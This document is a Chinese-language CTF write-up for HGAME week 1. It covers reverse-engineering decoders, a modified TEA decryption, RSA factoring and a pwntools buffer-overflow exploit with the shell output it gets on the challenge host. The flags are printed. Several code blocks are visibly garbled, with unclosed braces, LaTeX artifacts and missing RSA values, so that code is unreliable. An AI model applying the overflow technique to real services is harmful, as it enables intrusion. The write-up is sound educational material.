Week1-华维帝皇铠甲的召唤器

web

web1

```
找源码,通关后给的数据,处理一下两次base64
#include <stdio.h>
#include <stdint.h>
int main()
{
```

}

两次base64

hgame{fUnnyJavascript&FunnyM0taG4me}

Reverse

test_you ida

没啥好说的

ctrl+f也能做

easy_asm

简单的汇编,逻辑是异或

encode

hgame{encode_is_easy_for_a_reverse_engineer}

```
enc=[0x00000008, 0x00000006, 0x00000007, 0x00000006, 0x00000001, 0x00000006,
0x0000000D, 0x00000006, 0x00000005, 0x00000006, 0x0000000B, 0x00000007, 0x00000005,
0x00000006, 0x0000000E, 0x00000006, 0x00000003, 0x00000006, 0x0000000F, 0x00000006,
0x00000004, 0x00000006, 0x00000005, 0x00000006, 0x0000000F, 0x00000005, 0x00000009,
0x00000006, 0x00000003, 0x00000007, 0x0000000F, 0x00000005, 0x00000005, 0x00000006,
0x00000001, 0x00000006, 0x00000003, 0x00000007, 0x00000009, 0x00000007, 0x0000000F,
0x00000005, 0x00000006, 0x00000006, 0x0000000F, 0x00000006, 0x00000002, 0x00000007,
0x0000000F, 0x00000005, 0x00000001, 0x00000006, 0x0000000F, 0x00000005, 0x00000002,
0x00000007, 0x00000005, 0x00000006, 0x00000006, 0x00000007, 0x00000005, 0x00000006,
0x00000002, 0x00000007, 0x000000003, 0x000000007, 0x000000005, 0x00000006, 0x0000000F,
0x00000005, 0x00000005, 0x00000006, 0x0000000E, 0x00000006, 0x00000007, 0x00000006,
0x00000009, 0x00000006, 0x0000000E, 0x00000006, 0x000000005, 0x00000006, 0x00000005,
0x00000006, 0x00000002, 0x00000007, 0x0000000D, 0x00000007, 0x00000000, 0x00000000,
0×00000000, 0×00000000, 0×00000000, 0×00000000, 0×00000000, 0×00000000, 0×00000000,
0x00000000, 0x00000000, 0x000000001
for i in range(0,100,2):
  print(chr(enc[i]+enc[i+1]*16),end=")
```

easyenc

```
hgame{4ddit1on_is_a_rever5ible_0peration}
#include<stdio.h>
int main() {
  int v7[11];
  v7[0] = 167640836;
  v7[1] = 11596545;
  v7[2] = -1376779008;
  v7[3] = 85394951;
  v7[4] = 402462699;
  v7[5] = 32375274;
  v7[6] = -100290070;
  v7[7] = -1407778552;
  v7[8] = -34995732;
  v7[9] = 101123568;
  char enc[44];
  for (int i = 0; i < 44; i+=4) {
    enc[i+3] = v7[i/4] >> 24;
    enc[i+2] = v7[i/4] >> 16;
    enc[i+1] = v7[i/4] >> 8;
    enc[i] = v7[i/4];
  }
  for (int i = 0; i < 42; i++) {
      printf("%c", ((enc[i] + 86) ^ 50) );
  }
  return 0;
```

a_cup_of_tea

简单的魔改tea

}

```
hgame{Tea_15_4_v3ry_h3a1thy_drlnk}
#include <stdio.h>
#include <stdint.h>
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const k[4]) {
  unsigned int i;
  uint32_t result;
  uint32_t v0 = v[0], v1 = v[1], delta = 0x543210DD, sum = -delta * num_rounds;
  for (i = 0; i < num_rounds; i++) {
    result = sum + v0;
    v1 = result \wedge (k[2] + 16 * v0) \wedge (k[3] + (v0 >> 5));
    v0 = (sum + v1) \wedge (k[0] + 16 * v1) \wedge (k[1] + (v1 >> 5));
    sum += delta;
  v[0] = v0; v[1] = v1;
int main()
  uint32_t v[] = { 0x2E63829D, 0xC14E400F, 0x9B39BFB9, 0x5A1F8B14, 0x61886DDE,
0x6565C6CF, 0x9F064F64, 0x236A43F6,0x7d68 };
  uint32_t const k[4] = { 0x12345678, 0x23456789, 0x34567890, 0x45678901 };
  unsigned int r = 32;
  for (int i = 0; i < 8; i += 2) {
     decipher(r, &v[i], k);
  }
  printf("%s\n", v);
  return 0;
```

Pwn

test_nc

没啥好说的

r.interactive()

easy_overflow

```
hgame{e62632a37d94260e821b0888d13926cf8d4c78dc}
from pwn import *
r=remote("week-1.hgame.lwsec.cn",31424)
pd="a"*24+p64(0x00401176)
r.sendline(pd)
```

```
$ exec 1>&0
$ ls
bin
dev
flag
lib
lib32
lib64
vuln
$ cat flag
hgame{e62632a37d94260e821b0888d13926cf8d4c78dc}
$
[*] Interrupted
[*] Closed connection to week-1.hgame.lwsec.cn port 31424
```

进去之前close了标准输出,所以要重定向

exec 1>&0就行

Crypto

rsa

跑网站就行

大整数分解之后直接上脚本

hgame{factordb.com_is_strong!}

```
import gmpy2
from Crypto.Util.number import long_to_bytes
40938450178816138394844329723311433549899499795775655921261664087997097294813
02515450223656942836378041122163833359097910935638423464006252814266959128953
e = 65537
\mathbf{c} = 110674792674017748243232351185896019660434718342001686906527789876264976328686
13410197212549393843499278700291556250047548069329736086768100009272558328461635
35434223884892081145450071386065436780407986518360274333832821770810341515899350
24292017207209056829250152219183518400364871109559825679273502274955582
73069886771625642807435783661014062604264768481735145873508846925735
521695159
n = q * p
# print(n)
d = gmpy2.invert(e, (p - 1) * (q - 1))
print("d=", d)
m = pow(c, d, n)
print(m)
print(long_to_bytes(m))
```

Misc

签到题没啥好说的

base64